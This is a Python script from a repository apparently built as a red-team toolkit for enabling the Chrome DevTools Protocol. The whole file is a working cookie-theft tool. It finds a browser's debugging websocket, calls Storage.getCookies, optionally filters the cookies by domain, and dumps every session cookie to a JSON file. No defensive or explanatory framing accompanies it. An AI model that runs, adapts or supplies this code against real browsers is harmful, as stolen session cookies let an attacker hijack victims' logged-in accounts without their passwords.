Files
KingOfTheNOPs-CDP-Enable-BOF/grab_cookies.py
T
KingOfTheNOPs 7dc3143399 Initial Commit
2026-04-21 20:49:26 -04:00

84 lines
2.5 KiB
Python

#!/usr/bin/env python3
import argparse
import json
import sys
import urllib.error
import urllib.parse
import urllib.request
from websocket import create_connection
def http_json(url: str) -> dict:
with urllib.request.urlopen(url) as resp:
return json.loads(resp.read().decode("utf-8"))
def resolve_browser_ws(host: str, port: int) -> str:
version_url = f"http://{host}:{port}/json/version"
info = http_json(version_url)
ws_url = info.get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError(f"No webSocketDebuggerUrl in {version_url}")
return ws_url
def cdp_call(ws, message_id: int, method: str, params: dict | None = None) -> dict:
req = {"id": message_id, "method": method}
if params:
req["params"] = params
ws.send(json.dumps(req))
while True:
raw = ws.recv()
msg = json.loads(raw)
if msg.get("id") == message_id:
return msg
def grab_cookies(ws_url: str) -> list[dict]:
ws = create_connection(ws_url, suppress_origin=True, timeout=10)
try:
resp = cdp_call(ws, 1, "Storage.getCookies")
finally:
ws.close()
if "error" in resp:
raise RuntimeError(f"CDP error: {resp['error']}")
return resp.get("result", {}).get("cookies", [])
def main() -> int:
parser = argparse.ArgumentParser(description="Grab cookies over a locally enabled CDP port.")
parser.add_argument("--host", default="127.0.0.1", help="CDP host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=9001, help="CDP port (default: 9001)")
parser.add_argument("--output", default="cookies.json", help="Output JSON path")
parser.add_argument("--domain", help="Optional domain substring filter")
args = parser.parse_args()
try:
ws_url = resolve_browser_ws(args.host, args.port)
cookies = grab_cookies(ws_url)
except urllib.error.URLError as exc:
print(f"[-] Failed to reach CDP endpoint: {exc}", file=sys.stderr)
return 1
except Exception as exc:
print(f"[-] Failed to grab cookies: {exc}", file=sys.stderr)
return 1
if args.domain:
needle = args.domain.lower()
cookies = [c for c in cookies if needle in c.get("domain", "").lower()]
with open(args.output, "w", encoding="utf-8") as fh:
json.dump(cookies, fh, indent=2)
print(f"[+] Browser websocket: {ws_url}")
print(f"[+] Cookies written: {len(cookies)}")
print(f"[+] Output: {args.output}")
return 0
if __name__ == "__main__":
raise SystemExit(main())